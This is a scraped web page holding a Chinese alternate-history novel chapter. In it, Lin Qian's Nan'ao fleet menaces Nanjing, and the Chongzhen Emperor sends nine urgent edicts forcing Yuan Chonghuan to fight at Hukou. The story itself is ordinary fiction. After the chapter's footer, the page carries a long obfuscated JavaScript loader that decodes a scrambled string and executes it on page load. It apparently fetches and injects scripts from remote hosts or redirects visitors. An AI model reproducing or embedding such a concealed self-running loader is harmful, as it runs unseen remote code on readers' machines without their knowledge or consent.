首页
第304章 九道金牌催战
返回
关灯 护眼:关 字号:小

第304章 九道金牌催战

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    冯梦龙在山头偶得灵感,立马掏出纸笔记录,然后快步下山,一头扎入书房中,闭门不出。而南澳海军将瓜州攻下后,在瓜州丶京口三山留下少量部队防守,主力继续西进。
    通过京口三山后,长江江面骤然开阔,瓜州运口已遥遥可见,这里是京杭大运河与长江的交汇处,也就是白浪仔当年进逼漕运,威胁魏忠贤的地方。
    林浅顺着京杭大运河往北看,还能远远的瞥见繁华的扬州,西南则是镇江。
    这两座城都建得离河岸很远,无法威胁江面,自然也不需要攻克。
    受战乱影响,两城附近都没多少行人丶百姓,大运河上倒是零星有几艘漕船。
    如今是初秋,正是南方夏税丶夏粮向北方运的高峰,漕运一断,算是卡了大明朝的脖子了。林浅命令留三艘海狼舰看管瓜州运口,允许漕运有限通行。
    舰队继续溯流而上,次日黄昏,抵达南京城外。
    夕阳下,只见南京城城墙高大雄伟,如一条盘桓在长江南岸的巨龙,整个城市依山傍水,铺陈开去,房屋鳞次栉比,望不到尽头,十分震撼。
    一名参谋指着南京东南道:「舵公,那就是龙江宝船厂了,郑和宝船就是在此建造。」
    林浅手遮阳光,眯起眼睛望去,只见宝船厂林木葱葱,和荒郊野地无异,在林木掩映之下,只有数处作塘。
    参谋道:「自宣德之后,宝船厂就不再生产,此后逐渐废弃,连带作塘都填了五六处。如今两百年过去,就只剩这些了。」
    舰甲板上,众军官们望着船厂遗址,心中都有些感慨,只觉两百年沧海桑田,物是人非。
    即便是永乐皇帝,他活着时,一言九鼎,无人敢悖逆,死后下西洋便被暂停,两百年后,船厂连同造船技术全都化为尘土。
    日暮逐渐低垂,林浅下令道:「今晚就在南京城外停泊。」
    参谋劝道:「舵公,时间还早,何不再往前走走?」
    南京是大明陪都,又是朱元璋陵寝所在,实在过于敏感,在此地停泊,难保明军不会有什么过激举动。而林浅想的更多,此去鄱阳湖,他是远道来袭,岸上没有立足之地,必须速战,就怕袁崇焕把「凭坚城,用大炮」这种乌龟战术搬到水面上来,和南澳军对耗。
    这一路上没见袁崇焕派鄱阳湖水师出战,反而用京口三山阻滞,已见端倪。
    前路上,这样的地利还有多处,最险要的,就是鄱阳湖与长江的交界处,也就是南湖嘴丶泾江口一带,这地方狭小,南澳的巨舰大炮施展不开。
    袁崇焕要是在此设置炮,配合水师丶陆军防守,即便是神仙来了也攻不进去。
    所以林浅才要控制漕运,威逼南京,就是要让京中的蠢皇帝给袁崇焕施压,让他不要消极防守,尽快出兵决战。
    这招就和长平之战前,秦军反间计逼赵军出兵的道理一样。
    于是林浅便道:「就在这里停泊,让各哨船晚上仔细些。另外,最近天气潮湿,各船火枪丶火药难免受潮,晚上检查舱储,多放几枪试试。」
    「是。」参谋虽不解,但服从命令。
    林浅说罢就回船长室休息,伴着甲板上不时传来的枪炮声,睡得十分安稳。
    与此同时,南京城中已是天翻地覆,百姓闭门不出,躲进地窖,富户打包行囊,贿赂城门卒妄图出城。官僚丶勋贵急得像是热锅上的蚂蚁。
    没办法,自永乐皇帝迁都北京之后,南京的行政班子,就半闲置了下来。
    来南京就职的,要么是党争失败的,要么是被贬的,要么是来养老的。
    让这群人评点秦淮河畔酒楼,绝对各个是行家。
    让他们对军政大事拿主意,各个都是无头苍蝇。
    除却官僚无能外,南京城的守备军队也集齐了明军的全部弊病。
    南京城上一次遇到战事,还是整整七十五年前,那是嘉靖三十四年,五十三名倭寇流窜到南京城外,被守军击退。
    再往前数,南京上一次被大军围城,还是建文四年,朱棣的靖难之役,距今二百多年!
    二百年时光,就算是关宁铁军,也早被秦淮河的香风吹酥了。
    南京的京营丶孝陵卫丶大校场驻军加起来,名义上有近三万人,实际上,只有一万五千人,五成都是吃的空饷。
    这一万五千人中,三千人是勋贵子弟,挂名领饷;三千人是充数的乞丐丶流民,三千人是老弱病残,算下来,实际可战之兵不足六千。
    而府库中,武器装备日就悒烂,士兵的自备器械尽是朽钝,一应火药武器,全是万历时期留下的旧货,早就成了一堆废铜烂铁。
    守军们在府库中找来找去,发现唯一堪用的,居然还是张居正主政时,铸造的那批兵器……整个南京城,看着高大雄伟丶铜墙铁壁,实则内里早就被蛀成了渣渣。
    这等实力别说守城,敌军兵临城下,能不哗变投降,已算是烧了高香。
    静谧的月夜中,南澳海军按林浅的吩咐,检查武器装备,每把火绳枪都试开几枪。
    只听得长江上劈啪声连成一片,密的像冰雹坠地。
    南京城头守军无不躲在城垛后,瑟瑟发抖。
    魏国公徐弘基登上城墙,训斥道:「敌军还没打过来呢,如此畏畏缩缩,像什么样子?站起身来!」他是中山王徐达的十世孙,南京勋贵之首,守城士兵不敢不听令,谨慎地起身,朝城墙外探头探脑。徐弘基亲自走到城垛处,朝江面一望,但见舶胪蔽江,不知敌舰凡几,顿时眼前一黑,身子一阵踉跄。「国公爷!」亲随士卒眼疾手快,立马来搀扶。
    徐弘基缓了缓道:「快,快去见傅部堂。」
    傅部堂就是傅振商,时任南京兵部尚书,既是南京最高军政长官,也是南京城中少有的能吏。徐弘基进入傅府时,才发现其府上已聚了诸多大小官吏。
    没人在商讨军务,而是群情激愤的谴责袁崇焕,毕竟他兼管南直隶军务,如今却令叛军打到眼前,这是严重的渎职。
    当然,往私利上说,弹劾袁崇焕,把过错都推给他,也能掩盖他们自己的尸位素餐丶懦弱无能。徐弘基与傅振商商议许久,决定一面用缓兵之计,向南澳军谎称投降,一面急调四周援军,同时给京师发塘报求援。
    当然,对袁崇焕的弹劾也拉不下,弹劾奏疏当场写就,众人联名,随塘报一起,连夜送往京城。这场推卸责任的大会伴着枪炮声开了整整一夜。
    次日清晨,南京都察院右都御史带着求和信去找林浅,可刚一出城便愣住了,只看江面上空空荡荡,哪里还有南澳军的踪迹。
    林浅指挥舰队继续向安庆府方向行进。
    同时南京急报正飞速向四面八方传递,南直隶各地军队纷纷向南京汇聚,而南澳军兵临南京城下的塘报也在四天后递送至京师。
    崇祯皇帝看到塘报的一瞬间,脸色从白皙瞬间涨得通红。
    南京不仅是陪都,更是大明龙兴之地,也是太祖陵寝所在。
    此地有失,那他就是「宗庙受辱,龙脉被犯」,用市井些的话说,就是被人刨了祖坟。
    从国家角度讲,若北京被破,崇祯还能退守南京,若南京被破,大明可就退无可退,离亡国不远了。是以崇祯的愤怒已到空前顶点,他立即下令让韩??与钱龙锡入宫,在平议政。
    首辅次辅刚到平,便被崇祯劈头盖脸一顿臭骂。
    谩骂的内容已不是就事论事的训斥,已上升至人身攻击,直把二人,一个骂做「衣冠禽兽」,另一个骂做「误国庸奴」。
    此时大明,虽君主集权到了极致,可君臣面上还是有着该有的客气体面。
    哪怕是鞭打百官的嘉靖皇帝,骂人也都用书面语,绝不会如此宣泄情绪的痛骂。
    如今崇祯如此做派,当真是大明历代皇帝之仅见,这令首辅次辅直接僵在原地,不知该如何回话。崇祯皇帝骂了一阵,将塘报和南京群臣弹劾袁崇焕的奏疏丢在地上。
    「自己看!」
    二人看了塘报,顿时大惊失色,韩??脸色煞白,钱龙锡一脸苦相,心道:「元素啊,元素!内阁明明叫你速建战功,你却搞成这个样子,老夫真是被你害惨了。」
    崇祯厉声嗬问道:「这是怎么回事?袁崇焕的水师呢?」
    韩??支支吾吾,南澳舰队兵进长江的消息,他早知道了,他原以为京口三山的布置能拦住南澳军,最次也能拖延时日,让袁崇焕水师赶到,没想到防线被突破得这么快。
    南澳军兵围南京的消息,他二人也是刚刚得知,面对崇祯逼问,自然一问三不知。
    崇祯大怒道:「这也不知,那也不知,内阁留你们两个有什么用?」
    二人被训斥得手足无措,不敢说话。
    崇祯越说越气,从御座上起身,走到二人面前骂道:「袁崇焕要钱丶要兵丶要权,朕全给了,可结果呢?他纵容贼兵威逼南京,好个袁崇焕,好个内阁,你们是欺朕年少不成?」
    「陛下息怒,袁部堂他……他……」钱龙锡额头已满是冷汗。
    韩??终于想到藉口,连忙道:「袁崇焕此人善守,敌军远道而来,必不能久战,想必…」
    「住口!」崇祯嗬斥道,「朝廷已经丢了舟山丶皮岛,这就是善守?他守的究竟是哪里?你们是不是要朝廷把南京丢了,把整个江南丢了才甘心?」
    「臣……臣……」钱龙锡声音都在颤抖。
    崇祯深吸一口气道:「传旨,召袁崇焕……」
    「陛下,若替换袁崇焕,恐长江战事无人可用,况且敌军只是围城,袁崇焕主力未失,尚有一战之力,望陛下准其戴罪立功。」韩??突然打断道。
    他和钱龙锡以及东林党的命运都被绑在袁崇焕的战车上了,绝不能令其倒。
    而且他这话也确实是为国事考虑,明朝东北丶西北的杰出边将不少,譬如祖大寿丶满桂丶洪承畴丶曹文诏等人,可懂水战的将领……几乎一个没有。
    大明东南水师要么被林浅一网打尽,要么投敌了,登州水师自沈有容丶袁可立之后,也一蹶不振。换下了袁崇焕,真就没人能顶上。
    唯一适合的人选就是朱燮元,可他还在守孝中,要用他,就要皇帝下旨夺情。
    而崇祯在平召见袁崇焕时已拒绝过夺情建议,此时更抹不开面子自打自脸。
    韩??就是考虑到这一点,才大胆进言,果然崇祯犹豫起来。
    钱龙锡连忙在一旁保证催促袁崇焕出兵云云。
    崇祯压下情绪道:「下一道严旨,令袁崇焕即刻出兵!」
    韩丶钱二人都松了口气。
    深夜,赣州城城头,袁崇焕一身布面甲,站在城垛后,满面愁容。
    只见城下南澳军阵地上出现一阵火光,继而喊杀声和火枪声响起,接着隆隆马蹄声传来。
    一队骑兵从南澳军阵地上杀出,正往赣州城方向退却,镇南门的三层城门依次打开,放骑兵入城。其中一人翻身下马,跑到城头上,在袁崇焕面前喜气洋洋的拱手道:「部堂,我们烧了敌军五处营房,射杀敌军约十五人。」
    此人是关宁军参将尤世禄,己巳之变随袁崇焕入关勤王,参加了广渠门之战,凭骑射功夫,杀了十余鞑子,立过大功。
    他麾下的关宁铁骑,个个都弓马俱佳,自从守卫赣州以来,便时不时出城骚扰,每次斩获都不算多,但能扰的南澳军不胜其烦。
    「嗯,做得不错。」
    袁崇焕脸上愁容不变,月光下,只见赣州城南的战场上,已遍布大大小小的之字形沟壑。
    这些沟壑挖掘得十分巧妙,掩护步兵穿梭的同时,令赣州城头的火炮很难射中,而到了晚上,沟壑又能阻碍骑兵行动。
    南澳陆军初到赣州城外时,尤世禄每次突袭,都能斩获至少二十余级,随着沟壑越来越多,突袭的斩获越来越少,南澳军也越发接近城墙。
    虽说有护城河拦着,南澳军想挖到城墙跟下,就是做梦,不可能靠壕沟破城,但把战场僵持下去能做到。
    袁崇焕是守城方,又有赣江航运,可以源源不断地往城中输送粮食丶军械丶士卒,原本是不怕僵持的。可江西奴变愈演愈烈,银荒越来越凶,越来越多的百姓投靠南澳,令袁崇焕只觉胜利越发渺茫。前几日,他还接到消息,一支庞大舰队顺着长江口进入长江,一路势如破竹,京口防线两日就被攻破,令袁崇焕更感如芒在背。
    要是被南澳水师攻入鄱阳湖,让南澳占据赣江,那赣州就彻底成了孤城一座,城中两万精锐坐吃山空,只能等死了。
    是以袁崇焕思量许久后,终于下定决心,他下了城墙,把全军将领召集一处,先说了长江上的军情,又对众将道:「我已决定,连夜返回南昌,平灭奴变的同时,亲自指挥水师,镇守南湖嘴。
    只要守住南湖嘴,赣州就永不会破城,贼兵气焰再凶,也只能退兵,尔等用心守城就是。」说罢,袁崇焕给在场将领一一布置防区,对每一个人都千叮咛万嘱咐,极尽细致。
    最后,他将整个赣州城防务托付给南赣巡抚张国维丶南赣参将杨德政丶赣州卫指挥使姚玺三人。袁崇焕治理军务总是雷厉风行,可此时却絮絮叨叨,把如何防敌人挖地道,如何防剜城放进,如何发动民壮,如何防奸细开门,城墙炸塌如何填补,如何堵住缺口,如何应对敌人炮击等等,无论大小事务,全都说了个遍。
    在场官吏起先觉得罗嗦,听到后面无不动容。
    待袁崇焕说完时,堂外已天光微亮。
    袁崇焕没来由的心头一紧,莫名的觉得自己时日不多,他叹了口气,走到门口,转过身来,对满堂将帅拱手道:「赣州拜托诸位了!」
    众人一齐拱手回礼,神情分外郑重。
    随后,袁崇焕离开府邸,骑马出城,在赣州西门乘船北上。
    此时赣江完全在明军手中,雷三响的炮兵阵地根本不能布过河,因此袁崇焕乘船一路顺流而下,畅通无阻。
    他在岸上看向两岸村社,只见有不少化为了灰烬,大片田地荒芜,尤其是赣江中游吉安府一带,受损最重,这都是江西奴变的影响。
    袁崇焕看着眼前一幕,不禁叹了口气,对自己的幕僚道:「伯清(韩润昌字),你说天下之事,为什么会闹到这步田地。」
    韩润昌道:「都怪那南澳奸贼狼子野心,从中作梗。」
    江西奴变源于银荒,银荒又源于隔绝与闽粤通商,可事到如今,韩润昌自然不可能责怪袁崇焕政策错误,只能找林浅的不是。
    此时船舱中,只有袁崇焕和幕僚,他便闲聊道:「想来隔绝商路这步棋,是我下错了。」
    韩润昌安慰道:「归根结底,都要怪那林逆起事,若没有他在东南掣肘,以大明之力与部堂之才,或许早将辽东收复,还天下一个太平了。」
    袁崇焕叹了口气道:「事已至此,多说无益,让军士加速行船,我们一定要在林浅之前抵达南湖嘴!」林浅舰队离开南京后,一路逆流而上,陆续过了当涂丶芜湖丶池州丶安庆等地,终于赶到湖口。正是黄昏,残阳熔江,满天凄红。
    江面上,湖广水浊黄如浆,江西水清碧如玉,二者相交,竟显出泾渭分明的两种水色。
    遥遥望去,可见远处江面上渔舟点点,白鹭丶苍鹭盘旋,岸边芦苇微微泛黄,秋风吹过,沙沙作响。而在南湖嘴附近,可见梅家洲丶石钟山上都有营垒丶炮,两岸都有士兵列队巡逻,江上还有水师游弋。
    和林浅想的一样,袁崇焕将湖口守得固若金汤。
    之前速通京口三山,那是因为明军没有舰船配合,如今明军水师精锐尽在鄱阳湖中,再想用正面炮击,侧面登陆这一招,就不灵了。
    趁着天还没黑,林浅命三艘鹰船配合三艘海狼舰上前,试探岸防炮火力。
    只见明军水师立马上来驱逐,根本不上套。
    林浅只能派出福州号上前火力侦查,开进五百步,明军都强忍着不开炮,直到四百步内,才骤然开火,十几发炮弹落在船体两侧,吓得福州号原地掉头折返。
    仅一轮炮击,林浅就判断出明军在南湖嘴至少安置了四五处炮,红夷炮至少十五门,在这么狭窄的入口,顶红夷炮的火力往里冲,和在宁远城下用骑兵送死也没什么区别。
    林浅命令舰队暂且休整。
    这一休整,就接连等待了五日,随船参谋急得跳脚,随船补给可等不了这么久。
    从舟山现运时间长,损耗大;在岸上买,也买不到近万人的粮食。
    参谋相劝和舰长请战,全都被林浅一律回绝,只说再等等。
    与此同时,已亲至南湖嘴营垒的袁崇焕比林浅还要难过的多,他是防守方,占据优势不假,可政治上是绝对劣势。
    就在一日前,京城发来一份圣旨,严令袁崇焕即刻出兵,收复失地,扫平长江,驱逐林逆。随之而来的,还有内阁的急递,催他尽快出兵,语气十万火急。
    韩??与钱龙锡又分别以私人身份给袁崇焕写了信,让他即刻出兵,语气十分紧迫,几乎不容质疑。袁崇焕的幕僚们,也知道林浅掌控漕运丶威胁南京等事,劝袁崇焕出兵,哪怕战败,最多和孙承宗一样,是贬官而已,抗旨不遵,可是抄家灭族的大罪。
    而袁崇焕始终顶住压力,不为所动,咬死不出兵,给皇帝丶内阁丶首辅丶次辅都依次上奏写信,阐明理由。
    袁崇焕在信中说,如今他在湖口守住了林逆水师,在赣州守住了林逆陆军,只要坚守不出,敌军自会耗尽粮草退兵,届时衔尾追击,方可制胜,而且能一举收复失地,贸然出兵,就是重蹈萨尔浒之战的覆辙。结果十余天后,皇帝又下一道严旨,直斥袁崇焕是畏敌避战,要其即刻出兵。
    整篇圣旨篇幅极短,几乎没有华美词藻,全是短句丶硬句。
    通篇都是「速战」丶「立战」丶「着即进兵」丶「切勿延误」之类的字眼。
    袁崇焕看过后深深叹息,又上一道奏疏,祈求皇帝宽限三个月,这三个月内他会平复江西奴变。三个月后,就是长江流域的枯水期,水位大降,哪怕林浅舰队补给还够,大船交战时也会搁浅,届时再战,有九成把握。
    这一道奏疏递上不久,就又有一道严旨传来。
    旨意已近乎威胁,更有一句诛心之语:「拥兵自重,莫有异心?再不进兵,以抗旨论,若不能克,尔提头来见!」
    次辅钱龙锡的信也于同日抵达,诘问袁崇焕:「严旨累下,师久不张,莫非元素惧于林逆乎?若真如此,宜早陈情,当改授尔南都留务,亦不失牧伯之荣。」
    「南都留务」就是指南京朝廷的闲散职务,专门给官员养老用的。
    「牧伯之荣」就是指封疆大吏的荣耀,也就是南京六部的尚书职位,也算是名义上的大员。这封信已在阴阳怪气的讥将了。
    幕僚都劝袁崇焕出战,然而袁崇焕还是不允,闷头就要上奏回信。
    结果当日又来了八份京师急递,都是只言片语的密旨丶口谕,语气极为急迫,几乎每一份都含有死亡威胁。
    宋代有十二道金牌召回岳飞故事,大明没有金牌,最高等级的八百里加急用的是「火票」制度,在文人口中,就是大明版的金牌。
    算上最早接到的圣旨,袁崇焕一日之内,就连收了九道金牌,催他出战。
    袁崇焕长叹一声,明白自己无论如何劝说,也无法令皇帝回心转意,便对左右道:「传本督命令,撤下泾江口丶南湖嘴水师丶炮,放敌军进鄱阳湖。」
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();